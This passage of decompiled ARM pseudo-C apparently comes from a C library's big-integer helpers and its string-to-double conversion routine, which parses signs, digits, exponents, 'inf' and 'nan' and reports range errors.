signed int v2; // r4@1
unsigned int v3; // r7@2
int v4; // r0@2
int v5; // r6@2
int i; // r3@2
char *v7; // r0@5
signed int v8; // r5@5
int v9; // r3@6
signed int j; // r2@6
int v11; // r2@9
int v12; // r7@9
char v13; // r0@9
unsigned int v14; // r1@10
unsigned int v15; // r1@11
unsigned int v16; // r1@13
int v18; // [sp+4h] [bp-2Ch]@10
char v19; // [sp+14h] [bp-1Ch]@1
v2 = a1;
v19 = a2;
if ( (void *)a1 != (char *)off_1C644 + 116140 )
{
v3 = a2 >> 5;
v4 = *(_DWORD *)(a1 + 4);
v5 = *(_DWORD *)(v2 + 16) + 1 + (a2 >> 5);
for ( i = *(_DWORD *)(v2 + 8); v5 > i; i *= 2 )
++v4;
v7 = sub_1C184(v4);
v8 = (signed int)v7;
if ( v7 != (char *)off_1C648 + 116178 )
{
v9 = (int)(v7 + 20);
for ( j = 0; j < (signed int)v3; ++j )
{
*(_DWORD *)v9 = 0;
v9 += 4;
}
v11 = v2 + 20;
v12 = v2 + 4 * (*(_DWORD *)(v2 + 16) + 4) + 4;
v13 = v19 & 0x1F;
if ( v19 & 0x1F )
{
v14 = 0;
v18 = v2 + 4 * (*(_DWORD *)(v2 + 16) + 4) + 4;
do
{
*(_DWORD *)v9 = v14 | (*(_DWORD *)v11 << v13);
v9 += 4;
v15 = *(_DWORD *)v11;
v11 += 4;
v14 = v15 >> (32 - v13);
}
while ( v11 < (unsigned int)v18 );
*(_DWORD *)v9 = v14;
v5 += (__PAIR__(v14, v14) - __PAIR__(v14 - 1, 1)) >> 32;
}
else
{
do
{
v16 = *(_DWORD *)v11;
v11 += 4;
*(_DWORD *)v9 = v16;
v9 += 4;
}
while ( v11 < (unsigned int)v12 );
}
*(_DWORD *)(v8 + 16) = v5 - 1;
}
sub_1C570(v2);
v2 = v8;
}
return v2;
}
// 1C644: using guessed type void *off_1C644;
// 1C648: using guessed type void *off_1C648;
//----- (0001C64C) --------------------------------------------------------
signed int __fastcall sub_1C64C(signed int *a1, signed int a2)
{
signed int *v2; // r5@1
signed int result; // r0@1
int v4; // r3@1
signed int v5; // r4@1
v2 = a1;
result = *a1;
v4 = (int)((char *)off_1C678 + 116312);
v5 = a2;
if ( (void *)result != (char *)off_1C678 + 116312 )
{
if ( a2 == v4 )
{
result = sub_1C570(result);
*v2 = v5;
}
else
{
result += 12;
sub_DE6C(result, a2 + 12, 4 * (*(_DWORD *)(a2 + 16) + 2), v4);
}
}
return result;
}
// 1C678: using guessed type void *off_1C678;
//----- (0001C67C) --------------------------------------------------------
signed int __fastcall sub_1C67C(signed int a1, int a2, int a3)
{
signed int v3; // r4@1
int v4; // r6@1
int v5; // r7@2
int v6; // r2@2
int v7; // r3@2
unsigned __int64 v8; // kr00_8@3
char *v9; // r0@6
signed int v10; // r5@6
v3 = a1;
v4 = a3;
if ( (void *)a1 != (char *)off_1C714 + 116360 )
{
v5 = *(_DWORD *)(a1 + 16);
v6 = a1 + 20;
v7 = 0;
do
{
++v7;
v8 = (unsigned __int64)(v4 + (*(_DWORD *)v6 & 0xFFFFu) * a2) << 16;
v4 = (unsigned __int64)(unsigned int)((*(_DWORD *)v6 >> 16) * a2 + HIDWORD(v8)) >> 16;
*(_DWORD *)v6 = (((*(_DWORD *)v6 >> 16) * a2 + HIDWORD(v8)) << 16) + ((unsigned int)v8 >> 16);
v6 += 4;
}
while ( v7 < v5 );
if ( v4 )
{
if ( v5 >= *(_DWORD *)(a1 + 8) )
{
v9 = sub_1C184(*(_DWORD *)(a1 + 4) + 1);
v10 = (signed int)v9;
if ( v9 == (char *)off_1C718 + 116446 )
{
sub_1C570(v3);
return v10;
}
sub_DE6C((int)(v9 + 12), v3 + 12, 4 * (*(_DWORD *)(v3 + 16) + 2), (int)((char *)off_1C718 + 116446));
sub_1C570(v3);
v3 = v10;
}
*(_DWORD *)(v3 + 4 * (v5 + 4) + 4) = v4;
*(_DWORD *)(v3 + 16) = v5 + 1;
return v3;
}
}
return v3;
}
// 1C714: using guessed type void *off_1C714;
// 1C718: using guessed type void *off_1C718;
//----- (0001C71C) --------------------------------------------------------
int __fastcall sub_1C71C(signed int a1, unsigned int a2)
{
signed int v2; // r5@1
unsigned int v3; // r7@1
unsigned int v4; // r7@4
char *v5; // r6@5
int v6; // r4@5
int v7; // r0@7
char *v8; // r6@10
char *v9; // ST04_4@12
char *v10; // r0@15
v2 = a1;
v3 = a2;
if ( (void *)a1 != (char *)off_1C7D4 + 116520 )
{
if ( a2 & 3 )
v2 = sub_1C67C(a1, *(_DWORD *)((char *)off_1C7D8 + 4 * ((a2 & 3) - 1) + 116542), 0);
v4 = v3 >> 2;
if ( v4 )
{
v5 = (char *)off_1C7DC + 116564;
v6 = *((_DWORD *)off_1C7DC + 29164);
if ( !v6 )
{
v6 = (int)sub_1C184(1);
if ( (char *)v6 == v5 )
{
sub_1C570(v2);
return v6;
}
v7 = dword_1C7E0;
*((_DWORD *)v5 + 23) = v6;
*(_DWORD *)(v6 + 20) = v7;
*(_DWORD *)(v6 + 16) = 1;
*(_DWORD *)v6 = 0;
}
v8 = (char *)off_1C7E4 + 116616;
while ( 1 )
{
if ( v4 & 1 )
{
v9 = sub_1C298(v2, v6);
sub_1C570(v2);
v2 = (signed int)v9;
}
v4 >>= 1;
if ( !v4 )
break;
if ( *(_DWORD *)v6 )
{
v6 = *(_DWORD *)v6;
}
else
{
v10 = sub_1C298(v6, v6);
if ( v10 == v8 )
{
sub_1C570(v2);
return (int)v8;
}
*(_DWORD *)v6 = v10;
*(_DWORD *)v10 = 0;
v6 = (int)v10;
}
}
}
}
return v2;
}
// 1C7D4: using guessed type void *off_1C7D4;
// 1C7D8: using guessed type void *off_1C7D8;
// 1C7DC: using guessed type void *off_1C7DC;
// 1C7E0: using guessed type int dword_1C7E0;
// 1C7E4: using guessed type void *off_1C7E4;
//----- (0001D5AC) --------------------------------------------------------
char *__fastcall sub_1D5AC(int a1, signed int a2, signed int a3, int a4)
{
int v4; // r4@1
signed int v5; // r5@1
signed int v6; // r7@1
int v7; // r6@1
int v8; // r0@1
int v9; // r3@1
signed int v10; // r2@1
char *result; // r0@4
int v12; // r6@6
int v13; // r4@6
int v14; // r2@7
int v15; // r6@8
signed int v16; // r4@8
int v17; // r6@10
int v18; // r2@11
int v19; // [sp+4h] [bp-1Ch]@6
v4 = a1;
v5 = a2;
v6 = a3;
v7 = a4;
v8 = sub_E9E0(a3 + 8, 9u);
v9 = 0;
v10 = 1;
while ( v8 > v10 )
{
v10 *= 2;
++v9;
}
result = sub_1C184(v9);
if ( result != (char *)off_1D62C + 120284 )
{
*((_DWORD *)result + 5) = v7;
*((_DWORD *)result + 4) = 1;
if ( v5 <= 9 )
{
v15 = v4 + 10;
v16 = 9;
}
else
{
v12 = v4 + 9;
v19 = v4 + v5;
v13 = v4 + 9;
do
{
v14 = *(_BYTE *)v13++;
result = (char *)sub_1C67C((signed int)result, 10, v14 - 48);
}
while ( v13 != v19 );
v15 = v12 + v5 - 8;
v16 = v5;
}
v17 = v15 - v16;
while ( v16 < v6 )
{
v18 = *(_BYTE *)(v17 + v16++);
result = (char *)sub_1C67C((signed int)result, 10, v18 - 48);
}
}
return result;
}
// 1D62C: using guessed type void *off_1D62C;
//----- (0001D634) --------------------------------------------------------
int __fastcall sub_1D634(int a1, int a2)
{
int i; // r4@1
signed int v3; // r2@3
signed int v4; // r5@8
int v5; // r3@9
int v6; // r5@11
int v7; // r3@16
int v8; // r2@17
int v9; // r6@24
signed int j; // r3@24
signed int v11; // r7@30
int v12; // r1@32
signed int v13; // r5@32
int v14; // r2@33
int v15; // r2@35
int v16; // r0@36
int v17; // r0@37
int v18; // r12@44
signed int k; // r7@45
int v20; // r4@51
int v21; // r7@64
signed int v22; // r7@66
signed int l; // r7@72
signed int v24; // r7@79
signed int v25; // r7@92
__int64 v26; // r0@94
__int64 v27; // ST08_8@95
int v28; // r1@95
__int64 v29; // r0@95
int v30; // r1@95
char *v31; // r5@100
int v32; // r2@100
unsigned int v33; // r3@100
__int64 v34; // r0@100
int v35; // r6@101
char *v36; // r7@102
int v37; // r5@102
int v38; // r0@103
int v39; // r6@107
int v40; // r1@109
unsigned int v41; // r6@110
char *v42; // r6@112
signed int v43; // r5@112
int v44; // r0@113
int v45; // r2@113
unsigned int v46; // r6@115
__int64 v47; // r0@116
char *v48; // r7@116
unsigned int v49; // r1@121
signed int v50; // r3@123
int v51; // r6@126
__int64 v52; // r0@127
unsigned int v53; // r6@128
__int64 v54; // r0@130
unsigned int v55; // r7@130
__int64 v56; // r6@135
__int64 v57; // r0@135
int v58; // r0@135
int v59; // r0@136
unsigned int v60; // r1@136
int v61; // r0@136
unsigned int v62; // r1@136
int v63; // r0@136
unsigned int v64; // r7@146
int v65; // r2@146
unsigned int v66; // r1@146
int v67; // r3@146
int v68; // r5@151
unsigned int v69; // r4@153
unsigned int v70; // r5@153
int v71; // r2@153
char *v72; // ST28_4@160
char *v73; // r0@169
char *v74; // r3@169
int v75; // r2@171
char *v76; // r4@172
int v77; // r0@172
int v78; // r4@172
int v79; // r3@172
int v80; // r2@172
signed int v81; // r0@182
int v82; // r0@183
int v83; // r2@183
int v84; // r2@184
int v85; // r3@184
int v86; // r2@184
signed int v87; // r3@194
__int64 v88; // r0@201
signed int v89; // r0@202
int v90; // r1@202
unsigned int v91; // r0@202
unsigned int v92; // r1@202
int v93; // r0@202
unsigned int v94; // r0@204
unsigned int v95; // r1@204
int v96; // r0@204
int v97; // r4@206
signed int v98; // r7@206
int v99; // r0@209
signed int v100; // r1@214
signed int v101; // r1@216
int v102; // r0@222
unsigned int v103; // r1@222
__int64 v104; // r0@222
unsigned int v105; // r1@222
int v106; // r0@228
int v107; // r0@229
int v108; // r1@229
int v109; // r0@229
unsigned int v110; // r1@229
int v111; // r0@231
unsigned int v112; // r1@231
__int64 v113; // r0@231
int v114; // r1@231
int v115; // r0@233
int v116; // r0@233
int v117; // r1@233
unsigned int v118; // r0@233
unsigned int v119; // r1@233
int v120; // r0@236
int v121; // r0@237
int v123; // [sp+0h] [bp-78h]@32
unsigned int v124; // [sp+0h] [bp-78h]@157
unsigned int v125; // [sp+0h] [bp-78h]@204
unsigned int v126; // [sp+0h] [bp-78h]@215
unsigned int v127; // [sp+0h] [bp-78h]@233
unsigned int v128; // [sp+4h] [bp-74h]@204
signed int v129; // [sp+4h] [bp-74h]@233
signed int v130; // [sp+8h] [bp-70h]@20
int v131; // [sp+8h] [bp-70h]@116
int v132; // [sp+8h] [bp-70h]@130
int v133; // [sp+8h] [bp-70h]@135
int v134; // [sp+8h] [bp-70h]@142
unsigned int v135; // [sp+Ch] [bp-6Ch]@135
int v136; // [sp+14h] [bp-64h]@1
signed int v137; // [sp+14h] [bp-64h]@68
int v138; // [sp+14h] [bp-64h]@75
int v139; // [sp+14h] [bp-64h]@90
signed int v140; // [sp+18h] [bp-60h]@68
char *v141; // [sp+18h] [bp-60h]@130
__int64 v142; // [sp+18h] [bp-60h]@143
int v143; // [sp+20h] [bp-58h]@24
char *v144; // [sp+20h] [bp-58h]@112
int v145; // [sp+24h] [bp-54h]@75
int v146; // [sp+24h] [bp-54h]@77
signed int v147; // [sp+24h] [bp-54h]@112
signed int v148; // [sp+28h] [bp-50h]@90
int v149; // [sp+28h] [bp-50h]@169
int v150; // [sp+2Ch] [bp-4Ch]@206
int v151; // [sp+30h] [bp-48h]@221
char *v152; // [sp+38h] [bp-40h]@142
int v153; // [sp+3Ch] [bp-3Ch]@1
__int64 v154; // [sp+48h] [bp-30h]@1
char *v155; // [sp+54h] [bp-24h]@1
int v156; // [sp+58h] [bp-20h]@143
int v157; // [sp+5Ch] [bp-1Ch]@143
v136 = a1;
v153 = a2;
v155 = 0;
LODWORD(v154) = dword_1D904;
for ( i = a1; ; ++i )
{
v3 = *(_BYTE *)i;
if ( !(*(_BYTE *)(**(_DWORD **)((char *)off_1D914 + dword_1D918 + 120386) + v3 + 1) & 8) )
break;
}
if ( v3 == 45 )
{
++i;
}
else if ( v3 == 43 )
{
++i;
}
v4 = *(_BYTE *)i;
if ( !*(_BYTE *)i )
goto LABEL_243;
v5 = *(_WORD *)(2 * (v4 + 1) + **(_DWORD **)((char *)off_1D914 + dword_1D91C + 120386));
if ( v5 == 105 )
{
if ( !sub_1E61C(i, (int)((char *)off_1D920 + 120482), 3) )
{
v6 = i + 3;
if ( !sub_1E61C(i + 3, (int)(off_1D924 + 120498), 5) )
v6 = i + 8;
LODWORD(v154) = dword_1D90C;
i = v6;
goto LABEL_244;
}
goto LABEL_20;
}
if ( v5 != 110 || sub_1E61C(i, (int)(off_1D928 + 120536), 3) )
{
LABEL_20:
v130 = 0;
if ( v4 == 48 )
{
do
++i;
while ( *(_BYTE *)i == 48 );
if ( !*(_BYTE *)i )
goto LABEL_244;
v130 = 1;
}
v9 = 0;
v143 = 0;
for ( j = 0; ; ++j )
{
v11 = *(_BYTE *)(i + j);
if ( v11 <= 47 )
break;
if ( v11 > 57 )
{
v12 = i + j;
v123 = i;
v13 = j;
goto LABEL_35;
}
if ( j > 8 )
{
if ( j <= 15 )
v9 = v11 - 48 + 10 * v9;
}
else
{
v143 = v11 - 48 + 10 * v143;
}
}
v13 = j;
v14 = i + j;
if ( v11 == 46 )
{
v12 = v14 + 1;
v11 = *(_BYTE *)(v14 + 1);
v17 = i + j;
if ( j )
{
v123 = i;
v13 = j;
v15 = 0;
v16 = 0;
while ( (unsigned int)(v11 - 48) <= 9 )
{
LABEL_44:
++v15;
v18 = v11 - 48;
if ( v11 != 48 )
{
v16 += v15;
for ( k = 1; ; ++k )
{
v20 = v13 + 1;
if ( k >= v15 )
break;
++v13;
if ( v20 - 1 > 8 )
{
if ( v13 <= 16 )
v9 *= 10;
}
else
{
v143 *= 10;
}
}
if ( v13 > 8 )
{
if ( v20 <= 16 )
v9 = 10 * v9 + v18;
}
else
{
v143 = 10 * v143 + v18;
}
++v13;
v15 = 0;
}
++v12;
v11 = *(_BYTE *)v12;
}
LABEL_59:
if ( v11 != 69 )
{
i = v12;
if ( v11 != 101 )
goto LABEL_77;
}
if ( !v13 && !v15 && !v130 )
goto LABEL_243;
v21 = *(_BYTE *)(v12 + 1);
i = v12 + 1;
if ( v21 == 43 )
{
v22 = 0;
}
else
{
if ( v21 != 45 )
{
v137 = *(_BYTE *)(v12 + 1);
v140 = 0;
goto LABEL_70;
}
v22 = 1;
}
v140 = v22;
i = v12 + 2;
v137 = *(_BYTE *)(v12 + 2);
LABEL_70:
if ( (unsigned int)(v137 - 48) <= 9 )
{
for ( l = v137; l == 48; l = *(_BYTE *)i )
++i;
v145 = i;
v138 = l - 48;
if ( (unsigned int)(l - 49) <= 8 )
{
while ( 1 )
{
++i;
v24 = *(_BYTE *)i;
if ( v24 <= 47 || v24 > 57 )
break;
v138 = v24 - 48 + 10 * v138;
}
if ( i - v145 > 8 || (v146 = v138, v138 > dword_1D930) )
v146 = dword_1D930;
v136 = v12;
if ( v140 )
v146 = -v146;
LABEL_86:
if ( !v13 )
{
if ( v15 || v130 )
goto LABEL_244;
LABEL_243:
i = v136;
goto LABEL_244;
}
v139 = v146 - v16;
v148 = j;
if ( !j )
v148 = v13;
v25 = v13;
if ( v13 > 16 )
v25 = 16;
LODWORD(v26) = sub_ED90(v143);
v154 = v26;
if ( v25 > 9 )
{
LODWORD(v27) = sub_EE90(
v26,
HIDWORD(v26),
*(_DWORD *)((char *)off_1DC54 + 8 * (v25 - 9) + 121202),
*(_DWORD *)((char *)off_1DC54 + 8 * (v25 - 9) + 121206));
HIDWORD(v27) = v28;
LODWORD(v29) = sub_ED90(v9);
LODWORD(v154) = sub_EAE4(v27, v29);
HIDWORD(v154) = v30;
}
if ( v13 <= 15 )
{
if ( !v139 )
goto LABEL_244;
if ( v139 <= 0 )
{
if ( !((v139 + 22 < 0) ^ __OFADD__(v139, 22)) )
{
sub_F0FC(
v154,
SHIDWORD(v154),
*(_DWORD *)((char *)off_1DC60 + -8 * v139 + 121346),
*(_DWORD *)((char *)off_1DC60 + -8 * v139 + 121350));
goto LABEL_106;
}
}
else
{
if ( v139 <= 22 )
{
v31 = (char *)off_1DC58 + 8 * v139 + 121250;
v32 = *((_DWORD *)v31 + 4);
v33 = *((_DWORD *)v31 + 5);
v34 = v154;
LABEL_103:
v38 = sub_EE90(v34, HIDWORD(v34), v32, v33);
LABEL_106:
LODWORD(v154) = v38;
goto LABEL_244;
}
v35 = 15 - v13;
if ( v139 <= 37 - v13 )
{
v36 = (char *)off_1DC5C + 121282;
LODWORD(v34) = sub_EE90(
v154,
HIDWORD(v154),
*(_DWORD *)((char *)off_1DC5C + 8 * v35 + 121298),
*(_DWORD *)((char *)off_1DC5C + 8 * v35 + 121302));
v37 = (int)&v36[8 * (v139 - v35)];
v32 = *(_DWORD *)(v37 + 16);
v33 = *(_DWORD *)(v37 + 20);
goto LABEL_103;
}
}
}
v39 = v13 - v25 + v139;
if ( v39 <= 0 )
{
if ( !v39 )
goto LABEL_142;
v51 = -v39;
if ( v51 & 0xF )
{
sub_F0FC(
v154,
SHIDWORD(v154),
*(_DWORD *)((char *)off_1DC84 + 8 * (v51 & 0xF) + 121606),
*(_DWORD *)((char *)off_1DC84 + 8 * (v51 & 0xF) + 121610));
v154 = v52;
}
v53 = v51 & 0xFFFFFFF0;
if ( !v53 )
goto LABEL_142;
if ( (signed int)(v53 >> 4) > 31 )
goto LABEL_251;
v141 = (char *)off_1DC88 + 121744;
v132 = 0;
v54 = v154;
v55 = v53 >> 4;
while ( (signed int)v55 > 1 )
{
if ( v55 & 1 )
LODWORD(v54) = sub_EE90(v54, HIDWORD(v54), *(_DWORD *)v141, *((_DWORD *)v141 + 1));
v55 >>= 1;
++v132;
v141 += 8;
}
v56 = v54;
LODWORD(v54) = (char *)off_1DC8C + 8 * v132 + 121692;
v133 = *(_DWORD *)(v54 + 112);
v135 = *(_DWORD *)(v54 + 116);
LODWORD(v57) = sub_EE90(v56, HIDWORD(v54), *(_DWORD *)(v54 + 112), *(_DWORD *)(v54 + 116));
v154 = v57;
sub_F3C8(v57, HIDWORD(v57), dword_1DC4C, dword_1DC50);
if ( !v58 )
goto LABEL_142;
v59 = sub_EAE4(v56, v56);
v61 = sub_EE90(v59, v60, v133, v135);
sub_F3C8(v61, v62, dword_1DC4C, dword_1DC50);
if ( v63 )
{
LABEL_251:
v42 = 0;
v43 = 0;
v144 = 0;
v147 = 0;
goto LABEL_138;
}
HIDWORD(v154) = 0;
v50 = 1;
}
else
{
if ( v39 & 0xF )
{
LODWORD(v154) = sub_EE90(
v154,
HIDWORD(v154),
*(_DWORD *)((char *)off_1DC64 + 8 * (v39 & 0xF) + 121390),
*(_DWORD *)((char *)off_1DC64 + 8 * (v39 & 0xF) + 121394));
HIDWORD(v154) = v40;
}
v41 = v39 & 0xFFFFFFF0;
if ( !v41 )
goto LABEL_142;
if ( (signed int)v41 > 308 )
{
LABEL_112:
v42 = 0;
v43 = 0;
v144 = 0;
v147 = 0;
goto LABEL_113;
}
v46 = v41 >> 4;
if ( !v46 )
goto LABEL_142;
v47 = v154;
v48 = (char *)off_1DC68 + 121532;
v131 = 0;
while ( (signed int)v46 > 1 )
{
if ( v46 & 1 )
LODWORD(v47) = sub_EE90(v47, HIDWORD(v47), *(_DWORD *)v48, *((_DWORD *)v48 + 1));
v46 >>= 1;
v48 += 8;
++v131;
}
LODWORD(v154) = sub_EE90(
v47,
HIDWORD(v47) + dword_1DC6C,
*(_DWORD *)((char *)off_1DC70 + 8 * v131 + 121586),
*(_DWORD *)((char *)off_1DC70 + 8 * v131 + 121590));
if ( (dword_1DC74 & v49) > dword_1DC78 )
goto LABEL_112;
if ( (dword_1DC74 & v49) <= dword_1DC7C )
{
HIDWORD(v154) = v49 + 55574528;
LABEL_142:
v147 = (signed int)sub_1D5AC(v123, v148, v13, v143);
v134 = i;
v152 = (char *)off_1DC90 + 121828;
while ( 1 )
{
v155 = sub_1C184(*(_DWORD *)(v147 + 4));
sub_1C64C((signed int *)&v155, v147);
v142 = v154;
v144 = sub_1C1D8(v154, SHIDWORD(v154), (int)&v157, (int)&v156);
v42 = sub_1C184(1);
if ( v42 != v152 )
{
*((_DWORD *)v42 + 5) = 1;
*((_DWORD *)v42 + 4) = 1;
}
if ( v139 < 0 )
{
v64 = 0;
v65 = 0;
v66 = -v139;
v67 = -v139;
}
else
{
v64 = v139;
v65 = v139;
v66 = 0;
v67 = 0;
}
if ( v157 < 0 )
v65 -= v157;
else
v67 += v157;
v68 = v157 + dword_1DFB4;
if ( v156 + v157 >= dword_1DFB8 )
v68 = 54 - v156;
v69 = v68 + v67;
v70 = v68 + v65;
v71 = v69;
if ( (signed int)v69 > (signed int)v70 )
v71 = v70;
if ( v71 > v67 )
v71 = v67;
v124 = v67;
if ( v71 > 0 )
{
v69 -= v71;
v70 -= v71;
v124 = v67 - v71;
}
if ( v66 )
{
v42 = (char *)sub_1C71C((signed int)v42, v66);
v72 = sub_1C298((int)v42, (int)v144);
sub_1C570((signed int)v144);
v144 = v72;
}
if ( (signed int)v69 > 0 )
v144 = (char *)sub_1C5A0((signed int)v144, v69);
if ( v64 )
v155 = (char *)sub_1C71C((signed int)v155, v64);
if ( (signed int)v70 > 0 )
v155 = (char *)sub_1C5A0((signed int)v155, v70);
if ( (signed int)v124 > 0 )
v42 = (char *)sub_1C5A0((signed int)v42, v124);
v73 = sub_1C400((int)v144, (int)v155);
v74 = (char *)off_1DFBC + 122162;
v43 = (signed int)v73;
v149 = *((_DWORD *)v73 + 3);
*((_DWORD *)v73 + 3) = 0;
if ( v73 == v74 || v42 == v74 )
{
LABEL_247:
i = v134;
if ( v149 )
{
if ( (HIDWORD(v154) & 0xFFFFF) == dword_1DFC4 && (_DWORD)v154 == -1 )
{
v87 = 0;
goto LABEL_198;
}
}
else if ( !(HIDWORD(v154) << 12) && !(_DWORD)v154 )
{
goto LABEL_197;
}
if ( !(v154 & 1) )
goto LABEL_242;
if ( v149 )
{
LODWORD(v88) = sub_1BE7C(v154, SHIDWORD(v154));
LODWORD(v154) = sub_EAE4(v154, v88);
goto LABEL_242;
}
v89 = sub_1BE7C(v154, SHIDWORD(v154));
v91 = sub_EAE0(v154, HIDWORD(v154), v89, v90);
LODWORD(v154) = v91;
sub_F3C8(v91, v92, dword_1DF94, dword_1DF98);
if ( !v93 )
goto LABEL_242;
LABEL_138:
LODWORD(v154) = dword_1DC4C;
*(_DWORD *)sub_1FD74() = 34;
if ( v147 )
goto LABEL_242;
goto LABEL_244;
}
v75 = *((_DWORD *)v42 + 4);
if ( *((_DWORD *)v73 + 4) == v75 )
{
v76 = v73;
v77 = 4 * (v75 + 4);
v78 = (int)(v76 + 20);
v79 = v43 + v77 + 4;
v80 = (int)&v42[v77 + 4];
while ( 1 )
{
v79 -= 4;
v80 -= 4;
if ( *(_DWORD *)v79 != *(_DWORD *)v80 )
break;
if ( v79 <= (unsigned int)v78 )
goto LABEL_247;
}
if ( *(_DWORD *)v79 < *(_DWORD *)v80 )
{
LABEL_179:
i = v134;
if ( v149 )
goto LABEL_242;
if ( (_DWORD)v154 )
goto LABEL_242;
if ( HIDWORD(v154) << 12 )
goto LABEL_242;
v81 = sub_1C5A0(v43, 1u);
v43 = v81;
if ( (void *)v81 == (char *)off_1DFC0 + 122278 )
goto LABEL_242;
v82 = *(_DWORD *)(v81 + 16);
v83 = *((_DWORD *)v42 + 4);
if ( v82 == v83 )
{
v84 = 4 * (v83 + 4);
v85 = v43 + v84 + 4;
v86 = (int)&v42[v84 + 4];
while ( 1 )
{
v85 -= 4;
v86 -= 4;
if ( *(_DWORD *)v85 != *(_DWORD *)v86 )
break;
if ( v85 <= (unsigned int)(v43 + 20) )
goto LABEL_242;
}
if ( *(_DWORD *)v85 >= *(_DWORD *)v86 )
goto LABEL_197;
LABEL_242:
sub_1C570((signed int)v144);
sub_1C570((signed int)v155);
sub_1C570((signed int)v42);
sub_1C570(v147);
sub_1C570(v43);
goto LABEL_244;
}
if ( v82 - v83 <= 0 )
goto LABEL_242;
LABEL_197:
v87 = -1;
LABEL_198:
LODWORD(v154) = v87;
goto LABEL_242;
}
}
else if ( *((_DWORD *)v73 + 4) - v75 < 0 )
{
goto LABEL_179;
}
sub_1BF74(v43, v42);
v125 = v94;
v128 = v95;
sub_F3F0(v94, v95, dword_1DF9C, dword_1DFA0);
if ( v96 )
{
if ( v149 )
{
v97 = 0;
v150 = 0;
v98 = dword_1DFD0;
LABEL_218:
v126 = v98;
goto LABEL_221;
}
if ( (_DWORD)v154 )
{
if ( v154 == 1 )
{
i = v134;
goto LABEL_138;
}
LABEL_220:
v150 = 0;
v126 = dword_1DFD8;
v98 = dword_1DFD0;
v97 = 0;
goto LABEL_221;
}
if ( HIDWORD(v154) << 12 )
goto LABEL_220;
sub_F3DC(v125, v128, dword_1DFA4, dword_1DFA8);
if ( v99 )
{
v97 = 0;
v98 = dword_1DFD4;
}
else
{
v97 = sub_EE90(v125, v128, dword_1DFAC, dword_1DFB0);
v98 = v100;
}
v150 = v97;
v126 = v98 + 2147483648;
}
else
{
v97 = sub_EE90(v125, v128, dword_1DFAC, dword_1DFB0);
v98 = v101;
if ( v149 )
{
v150 = v97;
goto LABEL_218;
}
v150 = v97;
v126 = v101 + 2147483648;
}
LABEL_221:
v151 = dword_1DFC8 & HIDWORD(v154);
if ( (dword_1DFC8 & HIDWORD(v154)) != dword_1DFDC )
{
if ( (unsigned int)v151 <= 0x3400000 )
{
sub_F404(v97, v98, dword_1E134, dword_1E138);
if ( v106 )
{
v107 = sub_EAE4(__PAIR__(v98, v97), qword_1E13C);
v109 = sub_F42C(v107, v108);
v150 = sub_EDB4(v109);
v126 = v110;
if ( !v149 )
v126 = v110 + 2147483648;
}
}
v111 = sub_1BE7C(v154, SHIDWORD(v154));
LODWORD(v113) = sub_EE90(v150, v126, v111, v112);
LODWORD(v154) = sub_EAE4(v154, v113);
HIDWORD(v154) = v114;
goto LABEL_232;
}
HIDWORD(v154) += dword_1DFE0;
v102 = sub_1BE7C(v154, SHIDWORD(v154));
LODWORD(v104) = sub_EE90(v150, v126, v102, v103);
LODWORD(v154) = sub_EAE4(v154, v104);
if ( (dword_1DFC8 & v105) <= dword_1DFE4 )
{
HIDWORD(v154) = v105 + 55574528;
LABEL_232:
if ( v151 == (dword_1E15C & HIDWORD(v154)) )
{
v115 = sub_F42C(v97, v98);
v116 = sub_EDB4(v115);
v118 = sub_EAE0(v97, v98, v116, v117);
v127 = v118;
v129 = v119;
if ( v149 || (_DWORD)v154 || HIDWORD(v154) << 12 )
{
sub_F3DC(v118, v119, dword_1E144, dword_1E148);
if ( v120 )
goto LABEL_241;
sub_F418(v127, v129, dword_1E14C, dword_1E150);
}
else
{
sub_F3DC(v118, v119, dword_1E154, dword_1E158);
}
if ( v121 )
{
LABEL_241:
i = v134;
goto LABEL_242;
}
}
goto LABEL_240;
}
if ( v142 == __PAIR__(dword_1DFE8, -1) )
{
i = v134;
LABEL_113:
v44 = sub_1FD74();
v45 = dword_1DC44;
*(_DWORD *)v44 = 34;
LODWORD(v154) = v45;
if ( v147 )
goto LABEL_242;
goto LABEL_244;
}
HIDWORD(v154) = dword_1DFE8;
LODWORD(v154) = -1;
LABEL_240:
sub_1C570((signed int)v144);
sub_1C570((signed int)v155);
sub_1C570((signed int)v42);
sub_1C570(v43);
}
}
v50 = -1;
HIDWORD(v154) = dword_1DC80;
}
LODWORD(v154) = v50;
goto LABEL_142;
}
v136 = v12;
}
else
{
i = v12;
v136 = v12;
}
LABEL_77:
v146 = 0;
goto LABEL_86;
}
while ( 1 )
{
++v17;
if ( v11 != 48 )
break;
v11 = *(_BYTE *)(v17 + 1);
}
v12 = v17;
v15 = v17 - 1 - v14;
if ( (unsigned int)(v11 - 49) <= 8 )
{
v16 = v15;
v123 = v12;
v15 = 0;
goto LABEL_44;
}
j = 0;
v123 = i;
}
else
{
v123 = i;
v12 = i + j;
LABEL_35:
v15 = 0;
}
v16 = 0;
goto LABEL_59;
}
i += 3;
LODWORD(v154) = 0;
v7 = i + 1;
if ( *(_BYTE *)i != 40 )
goto LABEL_244;
do
{
v8 = *(_BYTE *)v7;
if ( !*(_BYTE *)v7 )
goto LABEL_244;
++v7;
}
while ( v8 != 41 );
i = v7;
LABEL_244:
if ( v153 )
*(_DWORD *)v153 = i;
return v154;
}
// EAE0: using guessed type int __fastcall sub_EAE0(_DWORD, _DWORD, _DWORD, _DWORD);
// 1D904: using guessed type int dword_1D904;
// 1D90C: using guessed type int dword_1D90C;
// 1D914: using guessed type void *off_1D914;
// 1D918: using guessed type int dword_1D918;
// 1D91C: using guessed type int dword_1D91C;
// 1D920: using guessed type void *off_1D920;
// 1D924: using guessed type char *off_1D924;
// 1D928: using guessed type char *off_1D928;
// 1D930: using guessed type int dword_1D930;
// 1DC44: using guessed type int dword_1DC44;
// 1DC4C: using guessed type int dword_1DC4C;
// 1DC50: using guessed type int dword_1DC50;
// 1DC54: using guessed type void *off_1DC54;
// 1DC58: using guessed type void *off_1DC58;
// 1DC5C: using guessed type void *off_1DC5C;
// 1DC60: using guessed type void *off_1DC60;
// 1DC64: using guessed type void *off_1DC64;
// 1DC68: using guessed type void *off_1DC68;
// 1DC6C: using guessed type int dword_1DC6C;
// 1DC70: using guessed type void *off_1DC70;
// 1DC74: using guessed type int dword_1DC74;
// 1DC78: using guessed type int dword_1DC78;
// 1DC7C: using guessed type int dword_1DC7C;
// 1DC80: using guessed type int dword_1DC80;
// 1DC84: using guessed type void *off_1DC84;
// 1DC88: using guessed type void *off_1DC88;
// 1DC8C: using guessed type void *off_1DC8C;
// 1DC90: using guessed type void *off_1DC90;
